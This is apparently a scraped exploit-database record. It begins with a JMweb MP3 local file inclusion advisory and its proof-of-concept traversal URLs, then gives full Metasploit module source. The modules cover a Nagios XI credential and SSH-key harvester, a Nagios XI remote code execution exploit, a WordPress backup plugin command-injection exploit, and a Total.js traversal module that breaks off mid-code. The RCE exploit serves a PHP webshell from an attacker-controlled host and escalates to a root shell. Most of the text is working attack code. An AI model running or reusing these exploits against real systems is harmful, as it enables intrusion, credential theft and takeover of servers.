ID 1337DAY-ID-3832
Type zdt
Reporter SirGod
Modified 2008-10-04T00:00:00
Description
Exploit for unknown platform in category web applications
=========================================================
JMweb Multiple (src) Local File Inclusion Vulnerabilities
=========================================================
#################################################################################################
[+] JMweb MP3 (src) Multiple Local File Inclusion
[+] Discovered By SirGod
##################################################################################################
# Script Homepage:
# http://www.jesse-web.co.cc //
[+] Download : http://rapidshare.com/files/138968587/jmweb_audiosearch.zip
[+] Local File Inclusion
Example 1 :
http://[target]/[path]/listen.php?src=[Local File]%00
PoC 1 :
http://127.0.0.1/path/listen.php?src=../../../../autoexec.bat%00
Example 2 :
http://[target]/[path]/download.php?src=[Local File]%00
PoC 2 :
http://127.0.0.1/path/download.php?src=../../../../autoexec.bat%00
##################################################################################################
# 0day.today [2018-03-02] #
{"hash": "1d1b4e4c7d3e081987c80a3315d2376e0f2650fa782bf683b3f946307d83b7bf", "id": "1337DAY-ID-3832", "lastseen": "2018-03-03T01:53:51", "viewCount": 3, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "00157601768b634735774d15ccd18f9e", "key": "description"}, {"hash": "cb5fd4767ae8372a90dacc93ac9ada7a", "key": "href"}, {"hash": "65b07241dad055b86ced4b1c965e307f", "key": "modified"}, {"hash": "65b07241dad055b86ced4b1c965e307f", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "227758610fdec5dcc4d1a3dedb223f91", "key": "reporter"}, {"hash": "4af44738791302127297df080d7dd45d", "key": "sourceData"}, {"hash": "f78ed603cc316417297e7273e8e66cce", "key": "sourceHref"}, {"hash": "4373a28f6de1ba147916d951bd3e64c4", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 2, "enchantments": {"score": {"value": 1.6, "vector": "NONE", "modified": "2018-03-03T01:53:51"}, "dependencies": {"references": [{"type": "ubuntu", "idList": ["USN-4013-1", "USN-3836-2", "USN-3835-1", "USN-3836-1", "USN-3832-1", "USN-3833-1"]}, {"type": "redhat", "idList": ["RHSA-2019:0831"]}, {"type": "f5", "idList": ["F5:K39103040"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:06094473CAEAE018F16A4156F4D14103"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310843840", "OPENVAS:1361412562310843843", "OPENVAS:1361412562310843839", "OPENVAS:1361412562310843842", "OPENVAS:1361412562310843841"]}, {"type": "nessus", "idList": ["UBUNTU_USN-3835-1.NASL", "UBUNTU_USN-3836-2.NASL", "UBUNTU_USN-3836-1.NASL", "UBUNTU_USN-3833-1.NASL", "UBUNTU_USN-3832-1.NASL"]}, {"type": "exploitdb", "idList": ["EDB-ID:45915"]}], "modified": "2018-03-03T01:53:51"}, "vulnersScore": 1.6}, "type": "zdt", "sourceHref": "https://0day.today/exploit/3832", "description": "Exploit for unknown platform in category web applications", "title": "\tJMweb Multiple (src) Local File Inclusion Vulnerabilities", "history": [{"bulletin": {"hash": "bc045296252733207d24e824b65e33308564e5282940b37df724c2aca51fce20", "id": "1337DAY-ID-3832", "lastseen": "2016-04-20T00:43:40", "enchantments": {"score": {"value": 5.1, "modified": "2016-04-20T00:43:40"}}, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "4373a28f6de1ba147916d951bd3e64c4", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "227758610fdec5dcc4d1a3dedb223f91", "key": "reporter"}, {"hash": "e1b074352bba1faa7414f0b1f57277c0", "key": "sourceData"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "3be0a1b7127b747554c7c6f1cfa15063", "key": "sourceHref"}, {"hash": "65b07241dad055b86ced4b1c965e307f", "key": "published"}, {"hash": "00157601768b634735774d15ccd18f9e", "key": "description"}, {"hash": "65b07241dad055b86ced4b1c965e307f", "key": "modified"}, {"hash": "fef1ada25aa26726d30a4dfa892828a8", "key": "href"}], "bulletinFamily": "exploit", "history": [], "edition": 1, "type": "zdt", "sourceHref": "http://0day.today/exploit/3832", "description": "Exploit for unknown platform in category web applications", "viewCount": 0, "title": "\tJMweb Multiple (src) Local File Inclusion Vulnerabilities", "cvss": {"score": 0.0, "vector": "NONE"}, "objectVersion": "1.0", "cvelist": [], "sourceData": "=========================================================\r\nJMweb Multiple (src) Local File Inclusion Vulnerabilities\r\n=========================================================\r\n\r\n\r\n#################################################################################################\r\n[+] JMweb MP3 (src) Multiple Local File Inclusion\r\n[+] Discovered By SirGod\r\n##################################################################################################\r\n\r\n# Script Homepage:\r\n# http://www.jesse-web.co.cc //\r\n\r\n[+] Download : http://rapidshare.com/files/138968587/jmweb_audiosearch.zip\r\n\r\n[+] Local File Inclusion\r\n\r\n Example 1 :\r\n\r\n http://[target]/[path]/listen.php?src=[Local File]%00\r\n\r\n PoC 1 :\r\n\r\n http://127.0.0.1/path/listen.php?src=../../../../autoexec.bat%00\r\n\r\n\r\n Example 2 :\r\n\r\n http://[target]/[path]/download.php?src=[Local File]%00\r\n\r\n PoC 2 :\r\n\r\n http://127.0.0.1/path/download.php?src=../../../../autoexec.bat%00\r\n\r\n##################################################################################################\r\n\r\n\r\n\n# 0day.today [2016-04-19] #", "published": "2008-10-04T00:00:00", "references": [], "reporter": "SirGod", "modified": "2008-10-04T00:00:00", "href": "http://0day.today/exploit/description/3832"}, "lastseen": "2016-04-20T00:43:40", "edition": 1, "differentElements": ["sourceHref", "sourceData", "href"]}], "objectVersion": "1.3", "cvelist": [], "sourceData": "=========================================================\r\nJMweb Multiple (src) Local File Inclusion Vulnerabilities\r\n=========================================================\r\n\r\n\r\n#################################################################################################\r\n[+] JMweb MP3 (src) Multiple Local File Inclusion\r\n[+] Discovered By SirGod\r\n##################################################################################################\r\n\r\n# Script Homepage:\r\n# http://www.jesse-web.co.cc //\r\n\r\n[+] Download : http://rapidshare.com/files/138968587/jmweb_audiosearch.zip\r\n\r\n[+] Local File Inclusion\r\n\r\n Example 1 :\r\n\r\n http://[target]/[path]/listen.php?src=[Local File]%00\r\n\r\n PoC 1 :\r\n\r\n http://127.0.0.1/path/listen.php?src=../../../../autoexec.bat%00\r\n\r\n\r\n Example 2 :\r\n\r\n http://[target]/[path]/download.php?src=[Local File]%00\r\n\r\n PoC 2 :\r\n\r\n http://127.0.0.1/path/download.php?src=../../../../autoexec.bat%00\r\n\r\n##################################################################################################\r\n\r\n\r\n\n# 0day.today [2018-03-02] #", "published": "2008-10-04T00:00:00", "references": [], "reporter": "SirGod", "modified": "2008-10-04T00:00:00", "href": "https://0day.today/exploit/description/3832"}
{"metasploit": [{"lastseen": "2019-11-27T18:40:05", "bulletinFamily": "exploit", "description": "NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials, creating opportunities for lateral movement.\n", "modified": "2019-10-10T21:57:49", "published": "2019-07-27T17:22:58", "id": "MSF:POST/LINUX/GATHER/ENUM_NAGIOS_XI", "href": "", "type": "metasploit", "title": "Nagios XI Enumeration", "sourceData": " ##\n # This module requires Metasploit: https://metasploit.com/download\n # Current source: https://github.com/rapid7/metasploit-framework\n ##\n\n class MetasploitModule < Msf::Post\n include Msf::Post::Linux::System\n include Msf::Exploit::FileDropper\n\n def initialize(info={})\n super(update_info(info, {\n 'Name' => 'Nagios XI Enumeration',\n 'Description' => %q{\n NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,\n creating opportunities for lateral movement.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Cale Smith', # @0xC413\n ],\n 'DisclosureDate' => 'Apr 17 2018',\n 'Platform' => 'linux',\n 'SessionTypes' => ['shell', 'meterpreter'],\n }\n ))\n register_options([\n OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])\n ])\n end\n\n # save found creds in the MSF DB for easy use\n def report_obj(cred, login)#, login)\n return if cred.nil? || login.nil?\n credential_data = {\n origin_type: :session,\n post_reference_name: self.fullname,\n session_id: session_db_id,\n workspace_id: myworkspace_id,\n\n }.merge(cred)\n credential_core = create_credential(credential_data)\n\n login_data = {\n core: credential_core,\n workspace_id: myworkspace_id\n }.merge(login)\n\n create_credential_login(login_data)\n end\n\n #parse out domain realm for windows services\n def parse_realm(username)\n userealm=username.split('/')\n\n if userealm.count>1\n realm = userealm[0]\n username = userealm[1]\n\n credential_data={\n realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,\n realm_value: realm,\n username: username\n }\n else\n credential_data={\n username: username\n }\n\n end\n\n return credential_data\n end\n\n def run\n @peer = \"#{session.session_host}:#{session.session_port}\"\n\n @creds = []\n @ssh_keys = []\n\n #get nagios SSH private key\n id_rsa_path = '/home/nagios/.ssh/id_rsa'\n if file?(id_rsa_path)\n print_good('Attempting to grab Nagios SSH key')\n ssh_key = read_file(id_rsa_path)\n ssh_key_loot = store_loot(\n 'nagios_ssh_priv_key',\n 'text/plain',\n session,\n ssh_key,\n nil\n )\n print_status(\"Nagios SSH key stored in #{ssh_key_loot}\")\n else\n print_status('No SSH key found')\n end\n\n print_status('Attempting to dump Nagios DB')\n db_dump_file = \"/tmp/#{Rex::Text.rand_text_alpha(6)}\"\n\n sql_query = %Q|mysql -u root -p#{datastore['DB_ROOT_PWD']} -e \"|\n sql_query << %Q|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\\\\"','%22') FROM nagios.nagios_hosts |\n sql_query << %Q|INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id |\n sql_query << %Q|INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id |\n sql_query << %Q|WHERE nagios_services.check_command_object_id!=89 |\n sql_query << %Q|ORDER BY nagios_services.check_command_object_id |\n sql_query << %Q|INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\\\\"' LINES TERMINATED BY '\\\\n' ;\"|\n\n out = cmd_exec(sql_query)\n if out.match(/error/i)\n print_error(\"Could not get DB contents: #{out.gsub(/\\n/, ' ')}\")\n return\n else\n db_dump = read_file(db_dump_file)\n print_good('Nagios DB dump successful')\n # store raw db results, there is likely good stuff in here that we don't parse out\n db_loot = store_loot(\n 'nagiosxi_raw_db_dump',\n 'text/plain',\n session,\n db_dump,\n nil\n )\n print_status(\"Raw Nagios DB dump #{db_loot}\")\n print_status(\"Look through the DB dump manually. There could be\\ some good loot we didn't parse out.\")\n end\n\n CSV.parse(db_dump) do |row|\n case row[0]\n when \"110\" #WMI\n host = row[1]\n creds = row[2].split('!')\n username = creds[0].match(/'(.*?)'/)[1]\n password = creds[1].match(/'(.*?)'/)[1]\n\n user_credential_data = parse_realm(username)\n\n credential_data = {\n private_data: password,\n private_type: :password,\n }.merge(user_credential_data)\n\n login_data = {\n address: host,\n port: 135,\n service_name: 'WMI',\n protocol: 'tcp',\n }\n\n when \"59\" #SSH\n host = row[1]\n\n credential_data = {\n username: 'nagios',\n private_data: ssh_key,\n private_type: :ssh_key\n }\n\n login_data = {\n address: host,\n port: 22,\n service_name: 'SSH',\n protocol: 'tcp',\n }\n\n when \"25\" #FTP\n host = row[1]\n creds = row[2].split('!')\n username = creds[0]\n password = creds[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 21,\n service_name: 'FTP',\n protocol: 'tcp',\n }\n\n when \"67\" #MYSQL\n host = row[1]\n username=row[2].match(/--username=(.*?)\\s/)[1]\n password=row[2].match(/--password=%22(.*?)%22/)[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 3306,\n service_name: 'MySQL',\n protocol: 'tcp',\n }\n\n when \"66\" #MSSQL\n host = row[1]\n username=row[2].match(/-U '(.*?)'/)[1]\n password=row[2].match(/-P '(.*?)'/)[1]\n\n user_credential_data = parse_realm(username)\n credential_data = {\n private_data: password,\n private_type: :password,\n }.merge(user_credential_data)\n\n login_data = {\n address: host,\n port: 1433,\n service_name: 'MSSQL',\n protocol: 'tcp',\n }\n\n when \"76\" #POSTGRES\n host = row[1]\n username=row[2].match(/--dbuser=(.*?)\\s/)[1]\n password=row[2].match(/--dbpass=%22(.*?)%22/)[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 5432,\n service_name: 'PostgreSQL',\n protocol: 'tcp',\n }\n\n when \"85\" #SNMP\n host = row[1]\n creds = row[2].split('!')\n password = ' '\n username = creds[0]\n port = 161\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 161,\n service_name: 'SNMP',\n protocol: 'udp',\n }\n\n when \"88\" #LDAP\n host = row[1]\n username = row[2].match(/-D %22(.*?)%22/)[1]\n password = row[2].match(/-P %22(.*?)%22/)[1]\n\n credential_data = {\n username: username,\n private_data: password,\n private_type: :password,\n }\n\n login_data = {\n address: host,\n port: 389,\n service_name: 'LDAP',\n protocol: 'tcp',\n }\n else\n #base case\n end\n unless credential_data.nil? || login_data.nil?\n report_obj(credential_data, login_data)\n end\n end\n\n\n print_status(\"Run 'creds' to see credentials loaded into the MSF DB\")\n\n #cleanup db dump\n register_file_for_cleanup(db_dump_file)\n end\n end\n\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/post/linux/gather/enum_nagios_xi.rb"}, {"lastseen": "2019-12-04T04:34:01", "bulletinFamily": "exploit", "description": "This module exploits two vulnerabilities in Nagios XI 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE 2018\u201315710 which allows for local privilege escalation. When combined, these two vulnerabilities give us a root reverse shell.\n", "modified": "2019-06-25T21:10:44", "published": "2019-06-25T21:10:44", "id": "MSF:EXPLOIT/LINUX/HTTP/NAGIOS_XI_MAGPIE_DEBUG", "href": "", "type": "metasploit", "title": "Nagios XI Magpie_debug.php Root Remote Code Execution", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::HttpServer::HTML\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => \"Nagios XI Magpie_debug.php Root Remote Code Execution\",\n 'Description' => %q{\n This module exploits two vulnerabilities in Nagios XI 5.5.6:\n CVE-2018-15708 which allows for unauthenticated remote code execution\n and CVE 2018\u201315710 which allows for local privilege escalation.\n When combined, these two vulnerabilities give us a root reverse shell.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Chris Lyne (@lynerc)', # First working exploit\n 'Guillaume Andr\u00e9 (@yaumn_)' # Metasploit module\n ],\n 'References' =>\n [\n ['CVE', '2018-15708'],\n ['CVE', '2018-15710'],\n ['EDB', '46221'],\n ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],\n ['URL', 'https://www.tenable.com/security/research/tra-2018-37']\n ],\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Targets' =>\n [\n ['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]\n ],\n 'DefaultOptions' =>\n {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Privileged' => false,\n 'DisclosureDate' => \"2018-11-14\",\n 'DefaultTarget' => 0\n ))\n\n register_options(\n [\n OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),\n OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),\n OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])\n ])\n\n @WRITABLE_PATHS = [\n ['/usr/local/nagvis/share', '/nagvis'],\n ['/var/www/html/nagiosql', '/nagiosql']\n ]\n @writable_path_index = 0\n @MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'\n @session_opened = false\n @webshell_name = \"#{Rex::Text.rand_text_alpha(10)}.php\"\n @nse_name = \"#{Rex::Text.rand_text_alpha(10)}.nse\"\n @meterpreter_name = Rex::Text.rand_text_alpha(10)\n end\n\n def on_request_uri(cli, req)\n if @current_payload == @webshell_name\n send_response(cli, '<?php system($_GET[\\'cmd\\'])?>')\n else\n send_response(cli, generate_payload_exe)\n end\n end\n\n def primer\n res = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(@MAGPIERSS_PATH),\n 'vars_get' => {\n 'url' => \"https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} \" +\n '-o ' + @WRITABLE_PATHS[@writable_path_index][0] + \"/#{@current_payload}\"\n }\n }, 5)\n\n if !res || res.code != 200\n print_error('Couldn\\'t send malicious request to target.')\n end\n end\n\n def check_upload\n res = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(\"#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}\")\n }, 5)\n if res && res.code == 200\n print_status(\"#{@current_payload} uploaded with success!\")\n return true\n else\n print_error(\"Couldn't upload #{@current_payload}.\")\n return false\n end\n end\n\n def check\n res = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(@MAGPIERSS_PATH)\n }, 5)\n\n if res && res.code == 200\n return Exploit::CheckCode::Appears\n else\n return Exploit::CheckCode::Safe\n end\n end\n\n def exploit\n all_files_uploaded = false\n\n # Upload useful files on the target\n for i in 0..@WRITABLE_PATHS.size\n @writable_path_index = i\n for filename in [@webshell_name, @meterpreter_name]\n @current_payload = filename\n begin\n Timeout.timeout(datastore['HTTPDELAY']) { super }\n rescue Timeout::Error\n if !check_upload\n break\n elsif filename == @meterpreter_name\n all_files_uploaded = true\n end\n end\n end\n if all_files_uploaded\n break\n end\n end\n\n meterpreter_path = \"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}\"\n\n register_file_for_cleanup(\n \"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}\",\n meterpreter_path,\n \"/var/tmp/#{@nse_name}\"\n )\n\n # Commands to escalate privileges, some will work and others won't\n # depending on the Nagios version\n cmds = [\n \"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/\" \\\n \"components/autodiscovery/scripts/autodiscover_new.php --addresses=\\'127.0.0.1/1`#{meterpreter_path}`\\'\",\n \"echo 'os.execute(\\\"#{meterpreter_path}\\\")' > /var/tmp/#{@nse_name} \" \\\n \"&& sudo nmap --script /var/tmp/#{@nse_name}\"\n ]\n\n # Try to launch root shell\n for cmd in cmds\n res = send_request_cgi(\n {\n 'uri' => normalize_uri(\"#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}\"),\n 'method' => 'GET',\n 'vars_get' => {\n 'cmd' => cmd\n }\n }, 5)\n\n if !res && session_created?\n break\n end\n print_status('Couldn\\'t get remote root shell, trying another method')\n end\n end\nend\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/nagios_xi_magpie_debug.rb"}, {"lastseen": "2019-11-22T10:32:14", "bulletinFamily": "exploit", "description": "There exists a command injection vulnerability in the Wordpress plugin `wp-database-backup` for versions < 5.2. For the backup functionality, the plugin generates a `mysqldump` command to execute. The user can choose specific tables to exclude from the backup by setting the `wp_db_exclude_table` parameter in a POST request to the `wp-database-backup` page. The names of the excluded tables are included in the `mysqldump` command unsanitized. Arbitrary commands injected through the `wp_db_exclude_table` parameter are executed each time the functionality for creating a new database backup are run. Authentication is required to successfully exploit this vulnerability.\n", "modified": "2019-07-23T17:20:14", "published": "2019-06-20T19:05:41", "id": "MSF:EXPLOIT/MULTI/HTTP/WP_DB_BACKUP_RCE", "href": "", "type": "metasploit", "title": "WP Database Backup RCE", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HTTP::Wordpress\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'WP Database Backup RCE',\n 'Description' => %q(\n There exists a command injection vulnerability in the Wordpress plugin\n `wp-database-backup` for versions < 5.2.\n\n For the backup functionality, the plugin generates a `mysqldump` command\n to execute. The user can choose specific tables to exclude from the backup\n by setting the `wp_db_exclude_table` parameter in a POST request to the\n `wp-database-backup` page. The names of the excluded tables are included in\n the `mysqldump` command unsanitized. Arbitrary commands injected through the\n `wp_db_exclude_table` parameter are executed each time the functionality\n for creating a new database backup are run.\n\n Authentication is required to successfully exploit this vulnerability.\n ),\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Mikey Veenstra / Wordfence', # Vulnerability Discovery\n 'Shelby Pace' # Metasploit module\n ],\n 'References' =>\n [\n [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],\n ],\n 'Platform' => [ 'win', 'linux' ],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'Targets' =>\n [\n [\n 'Windows',\n {\n 'Platform' => 'win',\n 'Arch' => [ ARCH_X86, ARCH_X64 ]\n }\n ],\n [\n 'Linux',\n {\n 'Platform' => 'linux',\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'CmdStagerFlavor' => 'printf'\n }\n ]\n ],\n 'DisclosureDate' => '2019-04-24',\n 'DefaultTarget' => 0\n ))\n\n register_options(\n [\n OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),\n OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),\n OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])\n ])\n end\n\n def check\n return CheckCode::Unknown unless wordpress_and_online?\n\n changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => changelog_uri\n )\n\n if res && res.code == 200\n version = res.body.match(/=+\\s(\\d+\\.\\d+)\\.?\\d*\\s=/)\n return CheckCode::Detected unless version && version.length > 1\n\n vprint_status(\"Version of wp-database-backup detected: #{version[1]}\")\n return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')\n end\n CheckCode::Safe\n end\n\n def exploit\n cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])\n fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie\n\n res = create_exclude_table(cookie)\n nonce = get_nonce(res)\n create_backup(cookie, nonce)\n\n clear_exclude_table(cookie)\n end\n\n def create_exclude_table(cookie)\n @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => @exclude_uri,\n 'cookie' => cookie,\n 'vars_get' => { 'page' => 'wp-database-backup' }\n )\n\n fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200\n print_good('Reached the wp-database-backup settings page')\n if datastore['TARGET'] == 1\n comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')\n comm_payload = comm_payload.join('&&')\n comm_payload = comm_payload.gsub('\\'', '')\n comm_payload = \"; #{comm_payload} ;\"\n else\n comm_payload = \" & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::\"\n end\n\n table_res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => @exclude_uri,\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'wpsetting' => 'Save',\n 'wp_db_exclude_table[wp_comment]' => comm_payload\n }\n )\n\n fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code\n print_good('Successfully added payload as an excluded table')\n\n res.get_html_document\n end\n\n def get_nonce(response)\n fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response\n\n div_res = response.at('p[@class=\"submit\"]')\n fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res\n\n wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)\n fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1\n\n wpnonce[1]\n end\n\n def create_backup(cookie, nonce)\n first_res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => @exclude_uri,\n 'cookie' => cookie,\n 'vars_get' =>\n {\n 'page' => 'wp-database-backup',\n '_wpnonce' => nonce,\n 'action' => 'createdbbackup'\n }\n )\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => @exclude_uri,\n 'cookie' => cookie,\n 'vars_get' =>\n {\n 'page' => 'wp-database-backup',\n 'notification' => 'create'\n }\n )\n\n fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')\n print_good('Successfully created a backup of the database')\n end\n\n def clear_exclude_table(cookie)\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => @exclude_uri,\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'wpsetting' => 'Save',\n 'wp_db_exclude_table[wp_comment]' => 'wp_comment'\n }\n )\n\n fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200\n print_good('Successfully deleted the payload from the excluded tables list')\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_db_backup_rce.rb"}, {"lastseen": "2019-12-04T20:28:27", "bulletinFamily": "exploit", "description": "This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4. Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic\n", "modified": "2019-03-11T21:23:11", "published": "2019-03-10T16:57:24", "id": "MSF:AUXILIARY/SCANNER/HTTP/TOTALJS_TRAVERSAL", "href": "", "type": "metasploit", "title": "Total.js prior to 3.2.4 Directory Traversal", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n# Check and exploit Total.js Directory Traversal (CVE-2019-8903)\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Total.js prior to 3.2.4 Directory Traversal',\n 'Description' => %q(\n This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4.\n\n Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml,\n woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache,\n manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic\n ),\n 'Author' =>\n [\n 'Riccardo Krauter', # Discovery\n 'Fabio Cogno' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['CVE', '2019-8903'],\n ['CWE', '22'],\n ['URL', 'https://blog.totaljs.com/blogs/news/20190213-a-critical-security-fix/'],\n ['URL', 'https://snyk.io/vuln/SNYK-JS-TOTALJS-173710']\n ],\n 'Privileged' => false,\n 'DisclosureDate' => 'Feb 18 2019',\n 'Actions' =>\n [\n ['CHECK', { 'Description' => 'Check if the target is vulnerable' }],\n ['READ', { 'Description' => 'Attempt to print file content' }],\n ['DOWNLOAD', { 'Description' => 'Attempt to download a file' }]\n ],\n 'DefaultAction' => 'CHECK'))\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'Path to Total.js App installation', '/']),\n OptInt.new('DEPTH', [true, 'Traversal depth', 1]),\n OptString.new('FILE', [true, 'File to obtain', 'databases/settings.json'])\n ]\n )\n end\n\n def check_ext\n extensions = %w[\n flac jpg jpeg png gif ico js css txt xml\n woff woff2 otf ttf eot svg zip rar pdf\n docx xlsx doc xls html htm appcache\n manifest map ogv ogg mp4 mp3 webp webm\n swf package json md m4v jsx heif heic\n ]\n\n ext = datastore['FILE'].split('.').last\n\n unless extensions.include? ext\n print_warning \"Extension #{ext} is not supported by the HTTP static route of the framework\"\n end\n end\n\n def check\n uri = normalize_uri(target_uri.path) + '%2e%2e%2fpackage.json'\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri\n )\n if res && res.code == 200\n json = res.get_json_document\n if json.empty? || !json['dependencies']['total.js']\n return Exploit::CheckCode::Safe\n else\n print_status(\"Total.js version is: #{json['dependencies']['total.js']}\")\n print_status(\"App name: #{json['name']}\")\n print_status(\"App description: #{json['description']}\")\n print_status(\"App version: #{json['version']}\")\n return Exploit::CheckCode::Vulnerable\n end\n elsif res && res.headers['X-Powered-By'].to_s.downcase.include?('total.js')\n print_status('Target appear to be vulnerable!')\n 